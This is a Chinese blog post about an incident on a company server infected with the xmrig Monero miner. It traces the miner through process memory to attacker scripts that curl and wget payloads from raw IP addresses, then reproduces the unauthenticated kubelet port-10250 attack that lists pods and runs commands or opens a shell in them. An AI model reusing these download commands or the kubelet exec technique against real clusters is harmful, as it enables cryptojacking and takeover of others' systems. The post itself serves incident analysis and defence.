门罗币---挖矿神器的神奇入侵之谜

今天,在公司的服务器上发现了一个CPU利用率非常高的问题,
现象 如下图,cpu一直高居不下

11

查看进程信息

[root@xxx 9381]# ps -ef | grep 9381
root      9381     1 49 Jul12 ?        4-08:37:04 /tmp/docker -c /tmp/k.conf
root     13779  4975  0 21:10 pts/5    00:00:00 grep --color=auto 9381

经过谷歌 ,就发现了两个相关的信息
“/tmp/docker -c /tmp/k.conf” process use 100% CPU

tmp-docker-c-tmp-k-conf-process-use-more-than-100-cpu

其中具体这边文章“/tmp/docker -c /tmp/k.conf” process use 100% CPU说到被挖矿程序入侵相关的信息
如下图
12

还有一遍文章设计到这方面的信息here on Medium
最后通过同事的努力证实了 确实被入侵了——服务器被植入了挖矿程序

证实步骤
由于可执行的程序已经被删除了,只能通过一下步骤查找原因
11
由于入侵者已经删除了执行的程序,只能看内存里面的信息
找到9381的挖矿程序进程
34

找到内存地址

cd /proc/9381
[root@xxx 9381]# cat map
map_files/ maps       
[root@xxx 9381]# cat maps 
00400000-00637000 r-xp 00000000 fc:0b 176                                /tmp/docker (deleted)
00836000-0083e000 rw-p 00236000 fc:0b 176                                /tmp/docker (deleted)
0083e000-00847000 rw-p 00000000 00:00 0 
00aaa000-00adf000 rw-p 00000000 00:00 0                                  [heap]
00adf000-00be5000 rw-p 00000000 00:00 0                                  [heap]
7f904c000000-7f904c021000 rw-p 00000000 00:00 0 
7f904c021000-7f9050000000 ---p 00000000 00:00 0 
7f9054000000-7f9054021000 rw-p 00000000 00:00 0 
7f9054021000-7f9058000000 ---p 00000000 00:00 0 
7f9058000000-7f9058021000 rw-p 00000000 00:00 0 
7f9058021000-7f905c000000 ---p 00000000 00:00 0 
7f905c000000-7f905c021000 rw-p 00000000 00:00 0 
7f905c021000-7f9060000000 ---p 00000000 00:00 0 
7f9060000000-7f9060021000 rw-p 00000000 00:00 0 
7f9060021000-7f9064000000 ---p 00000000 00:00 0 
7f9064000000-7f9064021000 rw-p 00000000 00:00 0 
7f9064021000-7f9068000000 ---p 00000000 00:00 0 

然后经过gdb工具dump内存里面的信息到某个文件下,具体操作步骤如下
98

vi /tmp/aa.out

99

00

发现了这个东东miner.fee.xmrig.com外号门罗币
另外经过摸索找到了相关的日志
153

111

ip地址是俄罗斯的
111

通过请求路径
wget 或者 curl 获取脚本,就可以取到相应的脚本

curl 82.146.53.166/x.sh

9090

脚本分析
是通过5.188.228.148 这个服务取对应的二进制文件,执行完之后,删除
90

获取二进制

   if [ `getconf LONG_BIT` = "64" ]
                then
                $WGET /tmp/docker http://5.188.228.148/xmrig_64?$RANDOM
        else
                $WGET /tmp/docker http://5.188.228.148/xmrig_32?$RANDOM
        fi

门罗币相关连接 门罗币

门罗币挖矿工具xmrig

确定是这个东西在搞鬼。。。,目前查出问题的根源了

模仿黑客搞鬼

获取kubelet上所有的容器信息

curl --insecure https://node-ip:10250/pods | jq

让kubelet所管理的pod执行自己所想要执行的命令或者程序

[root@nodename ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://node-ip:10250/exec/kube-system/heapster-1967565778-qp69q/heapster?command=/bin/sh&command=-c&command=echo&command=hellohellohellohellohello&input=1&output=1&tty=1"
* About to connect() to ipaddr port 10250 (#0)
*   Trying ipaddr...
* Connected to ipaddr (ipaddr) port 10250 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*   subject: CN=nodename@1511435132
*   start date: Nov 23 11:05:32 2017 GMT
*   expire date: Nov 23 11:05:32 2018 GMT
*   common name: nodename@1511435132
*   issuer: CN=nodename@1511435132
> POST /exec/kube-system/heapster-1967565778-qp69q/heapster?command=/bin/sh&command=-c&command=echo&command=hellohellohellohellohello&input=1&output=1&tty=1 HTTP/1.1
> User-Agent: curl/7.29.0
> Host: node-ip:10250
> Accept: */*
> X-Stream-Protocol-Version: v2.channel.k8s.io
> X-Stream-Protocol-Version: channel.k8s.io
> 
< HTTP/1.1 302 Found
< Location: /cri/exec/rFwJX8f1
< Date: Sat, 21 Jul 2018 09:08:44 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
< 
* Connection #0 to host ipaddr left intact

日志显示
90

然后就可以随心所欲,为所欲为了Location: /cri/exec/rFwJX8f1,取到了kubelet所管理的pod的,可以远程控制,这个真是赞啊

npm install -g wscat

wscat -c "https://node-ip:10250/cri/exec/rFwJX8f1" --no-check

999

这里写图片描述

参考:Analysis of a Kubernetes hack — Backdooring through kubelet

总结这次的黑客入侵原因:
1.是kubernetes的相关安全漏洞,具体请前往修复kubelet安全策略
2.相关人员安全做不到位引起的

【警惕】门罗币挖矿攻击再次袭来!你中招了嘛?

相关执行教程

猜你喜欢

转载自blog.csdn.net/qq_21816375/article/details/81138663